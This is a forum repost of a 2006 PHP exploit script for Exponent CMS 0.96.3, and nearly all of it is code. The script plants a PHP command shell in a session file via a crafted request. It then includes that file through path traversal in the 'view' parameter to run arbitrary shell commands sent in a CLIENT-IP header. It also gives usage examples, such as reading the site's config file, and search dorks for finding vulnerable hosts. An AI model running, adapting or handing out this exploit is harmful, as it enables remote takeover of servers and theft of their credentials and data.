Exploit Exponent CMS 0.96.3 - 'view' Remote Command Execution

Exploiter · 21 Дек 2022

PHP:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
.:---------------------------------------------------------------------------:.
Exponent CMS 0.96.3 stable (possibly other versions) "view" arbitrary local
inclusion / remote commands xctn exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: "Welcome to Exponent CMS" | "my new exponent site"
      | inurl:calendarmodule -CALENDARMODULE.html
°:----------------------------------------------------------------------------:°
');

/*
this works regardless of php.ini settings
because of some magic_quotes_gpc disable code in pathos_bootstrap.php
will try to include some session files
*/

if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to exponent
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /expo/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / cat ./conf/config.php -p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$code="<?php;set_time_limit(0);passthru(\$_SERVER[HTTP_CLIENT_IP]);die;?>";
$packet ="GET ".$p."index.php?section=1&suntzu=$code HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode("\n",$temp[1]);
$temp=(explode("=",$temp2[0]));
$sess=trim($temp[1]);
//echo "session id -> << ".$sess." >>\n";
$paths=array("../../../../../../../../../../../../../../tmp/",
             "../../tmp/",
             "../../../tmp/",
             "../../../../tmp/",
             "../../../../../tmp/",
             "../../../../../../tmp/",
             "../../../../../../../tmp/");
for ($i=0; $i<count($paths); $i++)
{
$my_path=urlencode($paths[$i]);
$packet ="GET ".$p."index.php?src=1&_common=1&time=1060941600&action=show_view&module=calendarmodule&view=".$my_path."%2fsess_".$sess."%00&suntzu HTTP/1.0\r\n";
$packet.="User-Agent: sun\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("pathos_default_flow",$html))
{
$temp=explode("suntzu=",$html);
die($temp[1]);
}
}
echo "exploit failed...";
?>

# milw0rm.com [2006-09-19]

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Exploit Exponent CMS 0.96.3 - 'view' Remote Command Execution

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